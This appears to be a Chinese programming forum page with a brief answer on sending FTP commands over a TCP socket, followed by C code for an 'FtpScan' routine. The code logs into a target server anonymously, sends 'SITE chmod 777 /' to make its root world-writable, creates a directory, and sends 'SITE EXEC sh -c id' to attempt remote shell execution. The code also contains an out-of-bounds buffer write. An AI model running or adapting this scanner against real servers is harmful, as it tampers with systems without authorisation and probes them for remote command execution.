connect与远程计算机21端口建立tcp连接(不需要binding端口)直接send FTP的命令,具体看ftp协议就可以了啊然后recv返回的信息就可以了啊!
解决方案 »
- pure virtual function was not defined
- 我想要一个能实现计算机与单片机通讯的程序,请各位帮帮忙啊
- 怎么列举系统所有已安装的钩子并找出是哪个进程安装的?
- [请高手注意]用msxml删除xml文件所有二级节点!
- 在多文档里创建的ctreeview里,同一个item怎么显示两次?
- 谈谈VC下的三层开发,很快就结帖
- [求助]请问5*5 7*7高斯模板系数是多少,谢谢!
- 求救找高手.重金
- 出鬼了??我的分数全没了,问题也不知到那里去了?
- 已知适配器的MAC地址以及对应的编号(如0000,0001之类的),怎样获得其对应的IP地址?
- 版主:求求你了,你一定知道的.
- 那里有ftp服务器的源代码
{
//非阻塞方式接收数据
char data[2001];
unsigned long on=1;
unsigned long off=0;
char waste[2001];
int p, i=1;
int t;
memset(data,0,2001);
p=ioctlsocket(SockFD,FIONBIO,&on);
memset(waste,0,2001);
for(t=1;t<10;t++){
i=recv(SockFD, waste, 2000, 0);
if(i>0)
break;
Sleep(500);
}
waste[i]='\0';
strncat(data,waste,2000);
strncpy( buffer, data, 2000 );
return buffer;
}
UINT FtpScan(LPVOID pParam)
{ int port=21;
char* rbuff=( char * )malloc( 2000 * sizeof( char ) );
SOCKET sockfd;
SOCKADDR_IN addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
{
//"无法建立socket"
free(rbuff);
return 0;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(strScanTarget);
if(connect(sockfd,(struct sockaddr *) &addr, sizeof(addr))<0)
{
//"目标没有开放FTP服务..."
free(rbuff);
return 0;
}
//"FTP服务器的Banner:"
rbuff = GetData(sockfd,rbuff);
//处理rbuff
send(sockfd,"USER anonymous\r\n",sizeof("USER anonymous\r\n"),0);//匿名登陆
rbuff = GetData(sockfd,rbuff);
if(strstr(rbuff,"331")==NULL)
{
//"没有匿名登陆...Ftp扫描完毕。"
free(rbuff);
return 0;
}
send(sockfd,"PASS [email protected]\r\n",sizeof("PASS [email protected]\r\n"),0);
rbuff = GetData(sockfd,rbuff);
send(sockfd,"LIST\r\n",sizeof("LIST\r\n"),0);//跟目录
rbuff = GetData(sockfd,rbuff); send(sockfd,"SITE chmod 777 /\r\n",sizeof("SITE chmod 777 /\r\n"),0);//修改属性
rbuff = GetData(sockfd,rbuff); send(sockfd,"MKDIR DirTest\r\n",sizeof("MKDIR DirTest\r\n"),0); //建立目录
rbuff = GetData(sockfd,rbuff);
send(sockfd,"SITE EXEC sh -c id\r\n",sizeof("SITE EXEC sh -c id\r\n"),0);//执行Shell
rbuff = GetData(sockfd,rbuff);
send(sockfd,"QUIT\r\n",sizeof("QUIT\r\n"),0); //退出
rbuff = GetData(sockfd,rbuff);
closesocket(sockfd);
free(rbuff);
return 0;
}